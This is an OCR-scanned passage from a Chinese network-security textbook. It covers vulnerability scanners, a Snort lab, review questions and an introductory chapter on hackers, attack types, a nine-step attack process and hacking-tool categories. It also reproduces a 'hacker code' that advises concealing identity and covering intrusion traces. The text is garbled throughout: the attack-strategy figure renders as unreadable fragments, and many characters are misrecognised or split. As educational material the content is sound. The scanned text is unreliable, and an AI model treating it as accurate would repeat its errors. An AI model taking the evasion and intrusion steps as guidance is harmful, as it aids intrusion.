6.3.5 系统 漏洞 检测 工具 


当前 ,系统 漏洞 检测 工具 软件 非常 多 ,常用 的 主要 有 360 安全 卫士、Windows 优化 大 
师 、X-Scan 漏洞 扫描 器 、 瑞 星 卡 卡 .QQ 医生 等 。 

360 安全 卫士 提供 了 系统 漏洞 和 安全 风险 扫描 和 提示 功能 ,能 让 用 户 比 较 直观 地 看 出 
系统 中 存在 的 漏洞 以 及 安全 风险 ,并 且 罗 列 出 了 每 个 漏洞 的 名 称 、 严 重 程度 、 时 间 等 相关 信 
息 ,并 提供 补丁 程序 下 载 及 安装 。 

Windows 优化 大 师 中 的 Wopti 系统 漏洞 修复 应 用 工具 ,具有 界面 简洁 、 操 作 简 单 等 特 
点 。 软 件 中 呈现 出 了 漏洞 名 称 、 公 告 号 .安全 等 级 .漏洞 描述 等 信息 。Wopti 优化 大 师 扫描 
速度 上 表现 较为 出 色 。 

X-Scan 漏洞 扫描 器 是 Xfocus 小 组 编写 的 一 个 基于 Windows 平台 的 扫描 软件 ,提供 了 
图 形 界面 和 命令 行 两 种 操作 方式 ,该 软件 运行 于 Windows 平台 下 ,具有 扫描 速度 快 . 易 于 使 
用 及 科研 自动 升级 等 特点 。X-Scan 采用 多 线程 方式 对 指定 IP 地 址 段 (或 单机 ) 进 行 安全 漏 
洞 检测 ,支持 插件 功能 ,扫描 内 容 包 括 远 程 操 作 系 统 类 型 及 版 本 、 标 准 端口 状态 及 端口 
Banner 信息 .CGI 漏洞 .IIS 漏洞 `RPC 漏洞 网络 设备 漏洞 .拒绝 服务 漏洞 .各 种 弱 口 令 漏 洞 
和 后 门 (如 SQL-Server、FTP-Server、SMTP-Server、POP3-Server、,NT-Server 弱 口 令 漏 洞 和 
后 门 等 ) .NT 服务 器 NetBIOS 信息 等 20 多 个 大 类 。 

QQ 医生 主要 是 为 QQ 软件 服务 ,因此 针对 的 漏洞 修复 方面 也 与 其 他 软件 不 太 相 同 E 
要 是 为 了 防范 病毒 或 木马 对 QQ 软件 造成 的 威胁 。 同 样 ,QQ 医生 也 罗列 出 漏洞 的 名 称 、 安 
全 等 级 .发布 时 间 等 信息 ; 在 漏洞 扫描 速度 上 表现 一 般 。 
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实 训 6 使 用 Snort 进行 人 侵 检 测 


1. 实 训 目的 
掌握 入 侵 检测 概念 方法 ,学 习 用 Snort 工具 进行 人 侵 检测 。 
2. 实 训 内 容 


(1) 了 解 Snort。 

(2) 安装 实验 环境 。 

(3) 启动 Snort。 

(4) Snort 测试 。 

3. 实 训 环境 

一 台 安 装 Windows 2000/Windows XP/Windows 2003 操作 系统 的 计算 机 ,连接 到 本 地 
局 域 网 中 。 

4. 实 训 步 又 

HE 6.2.2 节 Snort 人 侵 检测 系统 示例 步骤 操作 完成 本 实 训 。 


本 章 小 结 


(1) 介绍 了 入 侵 检测 的 概念 ,入 侵 检测 系统 功能 及 工作 过 程 。 入 侵 检测 按 技术 分 类 可 
分 为 特征 检测 和 异常 检测 。 按 监测 对 象 分 类 可 分 为 基于 主机 的 入 侵 检测 和 基于 网 络 的 入 侵 
检测 。 网 络 入 侵 检 测 系 统 的 性 能 指标 主要 包括 3 类 , 即 准确 性 指标 效率 指 标 和 系统 指标 。 

(2) 入 侵 检 测 系统 作为 最 常见 的 网 络 安 全 产品 之 一 ,已 经 得 到 了 非常 广泛 的 应 用 。 当 
前 网 络 入 侵 检测 系统 的 产品 有 很 多 ,主要 有 Snort. 金 诺 网 安 、 安 氏 的 领 信 IDS. 启明 星辰 的 
天 阅 系 列 联想 的 联想 网 御 IDS、 东 软 、 绿 盟 科 技 的 冰 之 眼 系列 、 中 科 网 威 的 天 眼 IDS, EE 
的 Cisco IDS、CA 的 eTrust IDS 等 。 本 节 重点 介绍 网 络 入 侵 检测 系统 Snort, 

G) 系统 漏洞 检测 又 称 为 漏洞 扫描 ,就 是 对 重要 网 络 信息 系统 进行 检查 ,发 现 其 中 可 被 
攻击 者 利用 的 漏洞 。 不 管 攻击 者 是 从 外 部 还 是 从 内 部 攻击 某 一 网 络 系统 ,一 般 都 会 利用 该 
系统 已 知 的 漏洞 。 本 章 重 点 介绍 了 入 侵 攻击 可 利用 的 系统 漏洞 类 型 .漏洞 检测 技术 分 类 、 系 
统 漏洞 检测 方法 、 常 见 的 系统 漏洞 及 防范 和 系统 漏洞 检测 工具 。 


1. 入 侵 检测 系统 的 主要 功能 有 哪些 ? 
2. 简 述 缓冲 区 溢出 攻击 的 原理 。 
3. 简 述 入 侵 检测 系统 的 工作 原理 。 
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COND e 


. 人 侵 检测 系统 实施 的 具体 检测 方法 有 哪些 ? 

. 人 侵 检测 系统 是 由 哪些 部 分 组 成 ? 各 自 的 作用 是 什么 ? 
. 简 述 入 侵 检测 目前 面临 的 挑战 。 

. 什么 是 系统 漏洞 ? 有 哪些 类 型 ? 

. 简 述 缓冲 区 溢出 攻击 的 原理 。 

. 简 述 常用 的 系统 漏洞 检测 工具 有 哪些 ? 


第 7 章 ” 因 客 攻防 剖析 


在 计算 机 网 络 日 益 成 为 生活 中 不 可 或 缺 的 工具 时 ,计算 机 网 络 的 安全 性 已 经 引起 了 公 
众 的 高 度 重 视 。 计 算 机 网 络 的 安全 威胁 来 自 诸多 方面 ,黑客 攻击 是 最 重要 的 威胁 来 源 之 一 。 
有 效 的 防范 黑客 的 攻击 首先 应 该 做 到 知己 知 彼 , 方 可 百 战 不 殖 。 


7.1 要 述 


7.1.1 黑客 与 骇 客 


黑客 (Hacker) 起 源 于 20 世纪 50 年 代 美 国 著名 高 校 的 实验 室 中 ,他 们 智力 非凡 、 技 术 
高 超 ,精力 充沛 ,热衷 于 解决 一 个 个 环 手 的 计算 机 网 络 难 题 。20 世纪 60 一 70 年 代 ,“ 黑 客 ” 
一 词 甚至 于 极 富 襄 义 ,从 事 黑 客 活 动 意味 着 对 计算 机 网 络 的 最 大 潜力 进行 智力 上 的 自由 探 
索 , 所 谓 的 “黑客 "文化 也 随 之 产生 了 。 然 后 并 非 所 有 的 人 都 能 恪守 “黑客 ”文化 的 信条 专注 
于 技术 的 探索 ,恶意 的 计算 机 网 络 破坏 者 、 信 息 系统 的 窃 密 者 随后 层出不穷 ,人 们 把 这 部 分 
主观 上 有 恶意 企图 的 人 称 为 “ 骇 客 ”(Cracker) ,试图 区 别 于 “黑客 ”, 同 时 也 诞生 了 诸多 的 黑 
客 分 类 方法 。 

“黑客 ”大体 上 应 该 分 为 “善意 ”与 “恶意 ”两 种 , 即 所 谓 的 白 帽 (White Hat) 与 黑 帽 (Black 
Hat) 。 白 帽 依靠 自己 掌握 的 知识 帮助 系统 管理 员 找 出 系统 中 的 漏洞 并 加 以 完善 ,而 黑 帽 则 
是 通过 各 种 黑客 技能 对 系统 进行 攻击 \ 和 人 侵 或 者 做 其 他 一 些 有 害 于 网 络 的 事情 ,因为 黑 帽 所 
从 事 的 事情 违背 了 《黑客 守则 》, 所 以 他 们 真正 的 名 字 叫 * 骇 客 ” 而 非 “ 黑 客 ”。 然 而 ,不 论 主观 
意图 如 何必 黑客 ”的 攻击 行为 在 客观 上 会 造成 计算 机 网 络 极 大 破坏 ,同时 也 是 对 隐私 权 的 极 
大 侵犯 ,所 以 在 今天 人 们 把 那些 侵入 计算 机 网 络 的 不 速 之 客 都 称 为 “黑客 ”。 

任何 职业 都 有 相关 的 职业 道德 ,一 名 黑客 同样 有 职业 道德 ,一 些 守 则 是 必须 遵守 的 , 否 
则 会 给 自己 招来 麻烦 。 归 纳 起 来 就 是 “黑客 十 二 条 守则 ”。 

A) 不 要 恶意 破坏 任何 的 系统 ,这 样 做 只 会 给 你 带 来 麻烦 。 

(2) 不 要 破坏 别人 的 软件 和 资料 。 

(3) 不 要 修改 任何 系统 文件 ,如 果 是 因为 进入 系统 的 需要 而 修改 了 系统 文件 ,请 在 目的 
达到 后 将 他 改 回 原状 。 

(4) 不 要 轻易 地 将 你 要 黑 的 或 者 黑 过 的 站 点 告诉 你 不 信任 的 朋友 。 

(5) 在 发 表 黑 客 文章 时 不 要 用 你 的 真实 名 字 。 

(6) 正在 入 侵 的 时 候 , 不 要 随意 离开 你 的 计算 机 。 

(7) 不 要 入 侵 或 破坏 政府 机 关 的 主机 。 

(8) 将 你 的 笔记 放 在 安全 的 地 方 。 

(9) 已 侵入 的 计算 机 中 的 账号 不 得 清除 或 修改 。 

(10) 可 以 为 隐藏 自己 的 侵入 而 做 一 些 修 改 ,但 要 尽量 保持 原 系 统 的 安全 性 ,不 能 因为 
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得 到 系统 的 控制 权 而 将 门户 大 开 。 
(11) 不 要 做 一 些 无 聊 .单调 并 且 思 蠢 的 重复 性 工作 。 
(12) 做 真正 的 黑客 , 读 遍 所 有 有 关系 统 安全 或 系统 漏洞 的 书 。 


7.1.2 黑客 的 分 类 及 目的 


1. 黑客 的 分 类 

目前 ,可 以 将 黑客 的 分 成 3 类: 白 帽子 . 黑 帽 子 和 灰 帽 子 。 

(1) 白 帽 子 一 一 创新 者 。 力 求 设计 新 系统 ,具有 打破 常规 、 精 研 技术 和 勇于 创新 的 精 
神 。 追 求 没有 最 好 ,只 有 更 好 。 

(2) 灰 帽 子 一 一 破解 者 。 致 力 于 破解 已 有 系统 发现 现 有 系统 的 问题 和 漏洞 ,突破 极限 
的 禁制 ,能 够 展现 自我 。 追 求 自由 ,并 为 人 民 服 务 。 

(3) 黑 帽子 一 一 人 侵 者 。 追 求 随意 使 用 资源 ,进行 恶意 破坏 ,散播 蠕虫 .病毒 ,进行 商业 
间谍 活动 。 信 仰 人 不 为 已 RRAK. 

在 网 络 世界 里 ,要 想 区 分 开 谁 是 真正 意义 上 的 黑客 , 谁 是 真正 意义 上 的 入 侵 者 并 不 容 
易 , 因 为 有 些 人 可 能 既是 黑客 ,也 是 入 侵 者 。 而 且 在 大 多 数 人 的 眼 里 ,黑客 就 是 入 侵 者 。 所 
以 ,在 以 后 的 讨论 中 不 再 区 分 黑客 、 人 侵 者 ,将 他 们 视 为 同一 类 。 

2. 黑客 的 目的 

(1) 好 奇 心 。 许 多 黑 帽 声称 ,他 们 只 是 对 计算 机 及 电话 网 感到 好 奇 ,希望 通过 探究 这 些 
网 络 更 好 地 了 解 它们 是 如 何 工作 的 。 

(2) 个 人 声望 。 通 过 破坏 具有 高 价值 的 目标 以 提高 在 黑客 社会 中 的 可 信和 度 与 知名 度 。 

(3) 智力 挑战 。 为 了 向 自己 的 智力 极限 挑战 或 为 了 向 他 人 炫 炮 ,证 明 自 己 的 能 力 ; 还 
有 些 甚至 不 过 是 想 做 个 “游戏 高 手 ” 或 仅仅 为 了 “ 玩 玩 ” 而 已 。 

(4) 窃取 情报 。 在 Internet 上 监视 个 人 ,企业 及 竞争 对 手 的 活动 信息 及 数据 文件 ,以 达 
到 窃取 情报 的 目的 。 

(5) 报复 。 计算机 罪犯 感到 其 雇主 本 该 提升 自己 增加 薪水 或 以 其 他 方式 承认 他 的 工 
作 。 计 算 机 犯罪 活动 成 为 他 反击 雇主 的 方法 ,也 希望 借 此 引起 别人 的 注意 。 

(6) 金钱 。 有 相当 一 部 分 计算 机 犯罪 是 为 了 赚 取 金钱 。 

(7) 政治 目的 。 任 何 政治 因素 都 会 反映 到 网 络 领域 。 主 要 表现 在 敌对 国之 间 利 用 网 络 
的 破坏 活动 ; 或 者 个 人 及 组 织 对 政府 不 满 而 产生 的 破坏 活动 。 这 类 黑 帽 的 动机 不 是 为 了 
钱 , 几 乎 永远 都 是 为 了 政治 ,一 般 采 用 的 手法 包括 更 改 网 页 、 植 人 计算 机 病毒 等 。 

3. 黑客 行为 发 展 趋势 。 

黑客 的 行为 有 以 下 3 个 方面 的 发 展 趋势 。 

(1) 手段 高 明 化 。 黑 客 界 已 经 意识 到 单 靠 一 个 人 的 力量 远 远 不 够 了 ,已 经 逐步 形成 了 
一 个 团体 ,利用 网 络 进行 交流 和 团体 攻击 ,互相 交流 经 验 和 自己 写 的 工具 。 

(2) 活动 频繁 化 。 做 一 个 黑客 已 经 不 再 需要 掌握 大 量 的 计算 机 和 网 路 知识 ,学 会 使 用 
几 个 黑客 工具 ,就 可 以 在 互联 网 上 进行 攻击 活动 ,黑客 工具 的 大 众 化 是 黑客 活动 频繁 的 主要 
原因 。 

G) 动机 复杂 化 。 黑 客 的 动机 目前 已 经 不 再 局 限于 为 了 国家 ,金钱 和 刺激 ,已 经 和 国际 
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的 政治 变化 、 经 济 变化 紧密 地 结合 在 一 起 。 

4. 黑客 精神 

要 成 为 一 名 好 的 黑客 ,需要 具备 四 种 基本 素质 :“Free” 精 神 、 探 索 与 创新 精神 、 反 传统 
精神 和 合作 精神 。 

(1)“Free”( 自 由 、 免 费 ) 精 神 。 需 要 在 网 络 上 和 本 国 以 及 国际 上 一 些 高 手 进 行 广泛 的 
交流 ,并 有 一 种 奉献 精神 ,将 自己 的 心得 和 编写 的 工具 和 其 他 黑客 共享 。 

(2) 探索 与 创新 精神 。 所 有 的 黑客 都 是 喜欢 探索 软件 程序 奥秘 的 人 。 他 们 探索 程序 与 
系统 的 漏洞 ,在 发 现 问题 的 同时 会 提出 解决 问题 的 方法 。 

(3) 反 传 统 精神 。 找 出 系统 漏洞 ,并 策划 相关 的 手段 利用 该 漏洞 进行 攻击 ,这 是 黑客 永 
恒 的 工作 主题 ,而 所 有 的 系统 在 没有 发 现 漏洞 之 前 ,都 号 称 是 安全 的 。 

(4) 合作 精神 。 成 功 的 一 次 入 侵 和 攻击 ,在 目前 的 形式 下 , 单 靠 一 个 人 的 力量 已 经 没有 
办 法 完成 了 .通常 需要 数 人 , 数 百 人 的 通力 协作 才能 完成 任务 ,互联 网 提供 了 不 同 国家 黑客 
交流 合作 的 平台 。 


7.2 黑客 攻击 的 分 类 


黑客 攻击 在 最 高 层次 ,攻击 可 被 分 为 两 类 : 主动 攻击 和 被 动 攻 击 。 

(1) 主动 攻击 : 包含 攻击 者 访问 他 所 需 信息 的 故意 行为 。 例 如 ,远程 登录 到 指定 机 器 
的 端口 25 找 出 公司 运行 的 邮件 服务 器 的 信息 ; 伪造 无 效 IP 地 址 去 连接 服务 器 ,使 接收 到 
错误 IP 地 址 的 系统 浪费 时 间 去 连接 哪个 非法 地 址 。 攻 击 者 是 在 主动 地 做 一 些 不 利于 用 户 
或 用 户 的 公司 系统 的 事情 。 正 因为 如 此 ,如 果 要 寻找 他 们 是 很 容易 发 现 的 。 主 动 攻击 包括 
拒绝 服务 攻击 、 信 息 算 改 ,资源 使 用 .欺骗 等 攻击 方法 。 

(2) 被 动 攻击 : 主要 是 收集 信息 而 不 是 进行 访问 ,数据 的 合法 用 户 对 这 种 活动 一 点 也 
不 会 觉察 到 。 被 动 攻击 包括 嗅 探 \、 信 息 收集 等 攻击 方法 。 

按照 TCP/IP 协议 层次 进行 分 类 ,可 分 为 针对 数据 链 路 层 的 攻击 、 针 对 网 络 层 的 攻击 、 
针对 传输 层 的 攻击 、 针 对 应 用 层 的 攻击 。 

(1) 针对 数据 链 路 层 的 攻击 。TCP/IP 协议 在 该 层次 上 有 两 个 重要 的 协议 : ARP( 地 址 
解析 协议 ) 和 RARP( 反 地 址 解析 协议 )。 前 面 讲 过 的 ARP 欺骗 和 伪装 属于 该 层次 。 

(2) 针对 网 络 层 的 攻击 。 该 层次 有 3 个 重要 协议 : ICMP( 互 联网 控制 报 文 协议 )、IP 
(网 际 协议 ) IJGMP( 因 特 网 组 管理 协议 ) 。 著 名 的 攻击 手法 都 在 这 个 层次 上 进行 ,如 Smurf 
攻击 IP 碎片 攻击 ICMP 路 由 欺骗 等 。 

(3) 针对 传输 层 的 攻击 。TCP/IP 协议 传输 层 有 两 个 重要 的 协议 TCP 协议 和 UDP 协 
议 ,该 层次 的 著名 攻击 手法 更 多 ,常见 的 有 Teardrop Mit (Teardrop Attack), Land 攻击 
(Land Attack) SYN 洪水 攻击 (SYN Flood Attack), TCP 序列 号 欺骗 攻击 等 ,会 话 支持 和 
中 间 人 攻击 也 应 属于 该 层次 。 

(4) 针对 应 用 层 的 攻击 。 该 层次 上 面 有 许多 不 同 的 应 用 协议 ,如 DNS、FTP、SMTP 等 ， 
针对 协议 本 身 的 攻击 主要 是 DNS 欺骗 和 窃取 。 

按照 攻击 者 目的 分 类 ,可 分 为 DoS 和 DDoS Sniffer 监听 、 会 话 支持 与 网 络 欺骗 、 获 得 被 
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攻击 主机 的 控制 权 。 针 对 应 用 层 协 议 的 缓冲 区 溢出 基本 上 目的 都 是 为 了 得 到 被 攻击 主机 的 
shell。 
按照 危害 范围 分 类 ,可 分 为 局 域 网 范围 .广域网 范围 。 


7.3 ”黑客 攻击 的 步 又 


通常 黑客 的 攻击 思路 与 策略 分 为 3 个 阶段 : 预 攻 击 阶段 .攻击 阶段 ,后 攻击 阶段 ,如 
图 7-1 所 示 。 预 攻击 阶段 主要 是 信息 的 收集 ,包括 一 些 常 规 的 信息 获取 方式 ,如 端口 扫描 、 
漏洞 扫描 ,搜索 引擎 ,社会 工程 学 等 。 在 攻击 阶段 采取 缓冲 区 溢出 口令 猜测 、 应 用 攻击 等 技 
术 手 段 。 后 攻击 阶段 主要 释放 木马 、 密 码 破 解 、 隐 身 、 清 除 痕 迹 。 


客 的 攻击 思路 与 策略 
预 攻 击 阶段 攻击 阶段 后 攻击 阶段 

as om | we ae ET YE po) | 应 | | 释 || 密 || |] ae 
ao Pm eT eT | | 令 | | 用 | pe |] i 
FAAS! Waa | | 猜 | | 攻 | | 本 || 破 | | 身 || 痕 
集 | 描 | 描 学 | | 出 | | 测 | | 击 | | 马 || 解 迹 

二 | 一 

Ax |] iat 

地 程 ia IL 实 

ite |] | | 关上 | 县 || 验 


图 7-1 黑客 的 攻击 思路 与 策略 


尽管 黑客 攻击 系统 的 技能 有 高 低 之 分 ,入 侵 系 统 手 法 多 种 多 样 , 但 他 们 对 目标 系统 实施 
攻击 的 流程 却 大 致 相同 。 其 攻击 过 程 可 归纳 为 9 个 步骤 : 踩点 ,扫描 、 查 点 ,获取 访问 权 、 权 限 提 
逢 窃取, 掩盖 踪迹 ,创建 后 门 ,拒绝 服务 攻击 。 各 步 又 与 之 对 应 的 一 些 操作 如 表 7-1 所 示 。 


表 7-1 黑客 的 攻击 步骤 与 操作 


攻击 步骤 相应 操作 
踩点 使 用 Whips、DNS、Google、 百 度 等 工具 搜集 目标 信息 
扫描 利用 踩点 结果 ,查看 目标 系统 在 哪些 通道 使 用 哪些 服务 以 及 使 用 的 操作 系统 类 型 
查 点 根据 扫描 ,使 用 与 特定 操作 系统 及 服务 相关 的 技术 收集 账户 信息 、 共 享 资源 及 export 
等 信息 
获取 访问 权 发 起 攻击 获取 访问 权限 ,如 获取 失败 ,可 采取 拒 接 服务 攻击 
权限 提升 获取 权限 后 ,试图 成 为 Admin/root 或 超级 用 户 
窃取 改变 、 添 加、 删除 及 复制 用 户 数据 
掩盖 踪迹 修改 、 删 除 系统 日 志 


创建 后 门 为 以 后 再 次 人 侵 做 准备 
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7.4 黑客 工具 软件 


7.4.1 黑客 工具 软件 的 分 类 


黑客 攻击 者 除了 掌握 基本 的 操作 系统 知识 以 外 ,还 需要 掌握 各 种 工具 的 使 用 ,如 各 类 扫 
描 器 ,一 些 比较 优秀 的 木马 软件 ,监听 类 软件 等 。 

1. 按照 用 途 分 类 

常用 的 黑客 软件 按照 用 途 分 类 ,可 分 为 以 下 几 类 。 

1) 防范 工具 类 软件 

这 是 从 安全 的 角度 出 发 涉及 的 一 类 软件 ,如 防火 墙 , 查 病毒 软件 .系统 进程 监视 器 .端口 
管理 程序 等 都 属于 此 类 软件 。 这 类 软件 可 以 在 最 大 程度 上 保证 计算 机 使 用 者 的 安全 和 个 人 
隐私 ,不 被 黑客 破坏 。 网 络 服务 器 对 于 此 类 软件 的 需要 也 是 十 分 重视 的 ,如 日 志 分 析 软 件 、 
系统 入 侵 软 件 等 可 以 帮助 管理 员 维 护 服务 器 并 对 入 侵 系 统 的 黑客 进行 追踪 。 

2) 信息 搜集 类 软件 

信息 搜集 类 软件 种 类 比较 多 ,包括 端口 扫描 、 漏 洞 扫描 、 弱 口令 扫描 等 扫描 类 软件 ; 还 
有 监听 截获 信息 包 等 间谍 类 软件 ,其 大 多 数 属于 亦 正 亦 邪 的 软件 ,也 就 是 说 无 论 正派 黑客 、 
邪 派 黑客 、 系 统管 理 员 还 是 一 般 的 计算 机 使 用 者 ,都 可 以 使 用 这 类 软件 完成 各 自 不 同 的 目 
的 。 在 大 多 数 情况 下 ,黑客 使 用 这 类 软件 的 频率 更 高 ,因为 他 们 需要 依靠 此 类 软件 对 服务 器 
进行 全 方位 的 扫描 ,获得 尽 可 能 多 的 关于 服务 器 的 信息 ,在 对 服务 器 有 了 充分 的 了 解 之 后 ， 
才能 进行 黑客 动作 。 

3) 木马 与 蠕虫 类 软件 

这 是 两 种 类 型 的 软件 ,不 过 他 们 的 工作 原理 大 致 相同 ,都 具有 病毒 的 隐藏 性 和 破坏 性 ， 
另外 此 类 软件 还 可 以 由 拥有 控制 权 的 人 进行 操作 ,或 由 事先 精心 设计 的 程序 完成 一 定 的 工 
作 。 当 然 这 类 软件 也 可 以 被 系统 管理 员 利 用 , 当 作 远程 管理 服务 器 的 工具 。 

4) 洪水 类 软件 

所 谓 * 洪 水 ”, 即 信息 垃圾 炸弹 ,通过 大 量 的 垃圾 请 求 可 以 导致 目标 服务 器 负载 超 负 荷 而 
骨 溃 ,近年 来 网 络 上 又 开始 流行 DoS 分 散 式 攻击 ,简单 地 说 也 可 以 将 其 归 入 此 类 软件 中 。 
洪水 软件 还 可 以 用 作 邮 件 炸弹 或 者 聊天 式 炸 弹 , 这 些 都 是 经 过 简化 并 由 网 络 安 全 爱好 者 程 
序 化 的 “傻瓜 式 ” 软 件 , 也 就 是 “ 伪 黑 客 ”手中 经 常 使 用 的 软件 。 

5) 密码 破解 类 软件 

网 络 安 全 得 以 保证 的 最 实用 方法 是 依靠 各 种 加 密 算法 的 密码 系统 ,黑客 也 许可 以 很 容 
易 获得 一 份 暗 文 密码 文件 ,但 是 如 果 没有 加 密 算法 , 它 仍然 无 法 获得 真正 的 密码 ,因此 使 用 
密码 破解 类 软件 势 在 必 行 ,利用 计算 机 的 高 速 计算 能 力 , 此 类 软件 可 以 用 密码 字典 或 者 穷 举 
等 方式 还 原 经 过 加 密 的 暗 文 。 

6) 欺骗 类 软件 

如 果 希 望 获得 上 面 提 到 的 明文 密码 ,黑客 需要 对 暗 文 进行 加 密 算法 还 原 ,但 如 果 是 一 个 
复杂 的 密码 ,破解 起 来 就 不 是 那么 简单 了 。 但 如 果 让 知道 密码 的 人 直接 告诉 黑客 密码 的 原 
型 ,是 不 是 更 加 方便 ,欺骗 类 软件 就 是 为 了 完成 这 个 目的 而 设计 的 。 
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7) 伪装 类 软件 

网 络 上 进行 的 各 种 操作 都 会 被 ISP、 服 务 器 记录 下 来 ,如 果 没 有 经 过 很 好 的 伪装 就 进行 
黑客 动作 ,很 容易 就 会 被 反 跟 踪 技 术 追 查 到 黑客 的 所 在 ,所 以 伪装 自己 的 IP 地址、 身份 是 黑 
客 非常 重要 的 一 节 必 修 课 ,但 是 伪装 技术 需要 高 深 的 网 络 知识 ,一 开始 没有 坚实 的 基础 就 要 
用 到 这 一 类 软件 了 。 

2. 按照 性 质 分 类 

常用 黑客 软件 按照 性 质 分 类 ,可 分 为 以 下 几 类 。 

1) 扫描 类 软件 

扫描 是 黑客 的 眼睛 ,通过 扫描 程序 ,黑客 可 以 找到 攻击 目标 的 IP 地址、 开放 的 端口 号 、 
服务 器 运行 的 版 本 、 程 序 中 可 能 存在 的 漏洞 等 。 因 而 根据 不 同 的 扫描 目的 ,扫描 类 软件 又 分 
为 地 址 扫描 器 .端口 扫描 器 漏洞 扫描 器 3 个 类 别 。 在 很 多 人 看 来 ,这 些 扫描 器 获得 的 信息 
大 多 数 都 是 没有 用 处 的 ,然而 在 黑客 看 来 ,扫描 器 好 比 黑客 的 眼睛 , 它 可 以 让 黑客 清楚 地 了 
解 目 标 , 有 经 验 的 黑客 则 可 以 将 目标 “ 摸 得 一 清二 楚 ”, 这 对 于 攻击 来 说 是 至 关 重要 的 。 同 时 
扫描 器 也 是 网 络 管理 员 的 得 力 助 手 , 网 络 管理 员 可 以 通过 它 及 时 了 解 自己 系统 的 运行 状态 
和 可 能 存在 的 漏洞 ,在 黑客 “下 手 ” 之 前 将 系统 中 的 隐患 清除 ,保证 服务 器 的 安全 稳定 。 现 在 
网 络 上 很 多 扫描 器 在 功能 上 都 设计 得 非常 强大 ,并 且 综合 了 各 种 扫描 需要 ,将 各 种 功能 集 于 
一 身 。 这 对 于 初学 网 络 安全 的 学 习 者 来 说 无 疑 是 个 福音 ,因为 只 要 学 习 者 手中 具备 一 款 优 
秀 的 扫描 器 ,就 可 以 将 信息 收集 工作 轻松 完成 , 免 去 了 很 多 烦琐 的 工作 。 但 是 对 于 一 个 高 级 
黑客 来 说 ,这 些 现成 的 工具 是 远 远 不 能 胜任 的 ,他 们 使 用 的 程序 大 多 自己 编写 开发 ,这 样 在 
功能 上 将 会 完全 符合 个 人 意图 ,而 且 可 以 针对 新 漏洞 及 时 对 扫描 器 进行 修改 ,在 第 一 时 间 获 
得 最 宝贵 的 目标 资料 。 

2) 远程 监控 类 软件 

远程 监控 也 称 为 “木马 ”, 这 种 程序 实际 上 是 在 服务 器 上 运行 一 个 客户 端 软件 ,而 在 黑客 
的 计算 机 中 运行 一 个 服务 端 软件 ,如 此 一 来 ,服务 器 将 会 变 成 黑客 的 服务 器 的 手下”, 也 就 
是 说 黑客 将 会 利用 木马 程序 在 服务 器 上 开 一 个 端口 ,通过 这 种 特殊 的 木马 功能 对 服务 器 进 
行 监视 ,控制 。 因 此 ,只 要 学 习 者 掌握 了 某 个 木马 的 使 用 和 操作 方法 ,就 可 以 轻易 接管 网 络 
服务 器 或 者 其 他 上 网 者 的 计算 机 。 

在 控制 了 服务 器 之 后 ,黑客 的 攻击 行动 也 就 接近 尾声 了 ,然而 在 做 这 件 事 情 之 前 ,黑客 
必须 想 办 法 让 服务 器 运行 自己 木马 的 那个 “客户 端 程序 ”, 这 就 需要 利用 漏洞 或 者 进行 欺骗 。 
欺骗 就 是 想 办 法 让 操作 服务 器 的 人 (系统 管理 员 之 类 ) 运 行 黑客 的 “客户 端 程序 ”, 而 利用 漏 
洞 则 要 初学 者 阅读 完 本 书后 面 的 内 容 才 能 够 做 到 了 。 

3) 病毒 和 蠕虫 类 软件 

首先 声明 一 下 : 编写 病毒 的 做 法 并 不 属于 黑客 。 病 毒 只 不 过 是 一 种 可 以 隐藏 复制、 传 
播 自己 的 程序 ,这 种 程序 通常 具有 破坏 作用 ,虽然 病毒 可 以 对 互联 网 造成 威胁 ,但 是 它 并 没 
有 试图 寻找 程序 中 的 漏洞 ,所 以 制作 病毒 对 黑客 的 学 习 都 没有 实际 意义 。 之 所 以 提 到 病毒 ， 
是 因为 蠕虫 和 病毒 有 很 多 相似 性 ,蠕虫 也 是 一 段 程序 ,和 病毒 一 样 具有 隐藏 、 复 制 、 传 播 自己 
的 程序 。 不 同 的 是 蠕虫 程序 通常 会 寻找 特定 的 系统 ,利用 其 中 的 漏洞 完成 传播 自己 和 破坏 
系统 的 作用 ,另外 蠕虫 程序 可 以 将 收 到 攻击 的 系统 中 的 资料 传送 到 黑客 手中 ,这 要 看 蠕虫 设 
计 者 的 意图 ,因而 蠕虫 是 介 于 木马 和 病毒 之 间 的 一 类 程序 。 
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计算 机 蠕虫 是 自 包含 的 程序 (或 是 一 套 程序 ) , 它 能 传播 它 自身 功能 的 复制 或 它 的 某 些 
部 分 到 其 他 的 计算 机 系统 中 (通常 是 经 过 网 络 连接 ) 。 蠕 虫 的 制作 需要 精深 的 网 络 知识 ,还 
要 具备 高 超 的 编程 水 平 , 对 于 一 个 初学 黑客 的 学 习 者 来 说 ,蠕虫 的 制作 和 使 用 都 是 比较 难 理 
解 的 。 

4) 系统 攻击 和 密码 破解 类 软件 

这 类 软件 大 多 数 都 是 由 高 级 黑客 编写 出 来 的 , 供 初级 黑客 使 用 的 现成 软件 ,软件 本 身 不 
需要 使 用 者 具备 太 多 的 知识 ,使 用 者 只 要 按照 软件 的 说 明 操作 就 可 以 达到 软件 的 预期 目的 ， 
因而 这 类 软件 不 具备 学 习 黑 客 知识 的 功效 。 不 过 这 类 软件 对 于 黑客 很 重要 ,因为 它 可 以 大 
幅度 减 小 黑客 的 某 些 烦琐 工作 ,使 用 者 经 过 对 软件 的 设置 就 可 以 让 软件 自动 完成 重复 的 工 
作 , 或 者 由 软件 完成 大 量 的 猜测 工作 ,充分 利用 剩余 时 间 继 续 学 习 网 络 知识 。 

系统 攻击 类 软件 主要 分 为 信息 炸弹 和 破坏 炸弹 。 网 络 上 常见 的 垃圾 电子 邮件 就 是 这 种 
软件 的 “杰作 ”, 还 有 聊天 室 中 经 常 看 到 的 “ 踢 人 ”“ 骂 人 ”类 软件 ,论坛 的 垃圾 灌水 器 、 系 统 蓝 
屏 炸 弹 也 都 属于 此 类 软件 的 变异 形式 。 如 果 学 习 者 能 够 认真 学 习 黑 客 知识 ,最 终 可 以 自己 
编写 类 似 的 工具 ,但 如 果 某 个 人 天 天 局 限于 应 用 此 类 软件 上 ,他 将 永远 是 一 个 “ 伪 黑 客 ”。 

密码 破解 类 软件 和 上 面 的 软件 一 样 ,完全 依靠 它 将 对 学 习 黑 客 毫 无 帮助 。 对 于 真正 的 
黑客 来 说 ,这 种 软件 可 以 帮助 寻找 系统 登录 密码 ,相对 于 利用 漏洞 ,暴力 破解 密码 要 简单 许 
多 ,但 是 效率 会 非常 低 ,真正 的 黑客 无 论 是 使 用 密码 破解 软件 还 是 利用 漏洞 进入 系统 之 后 ， 
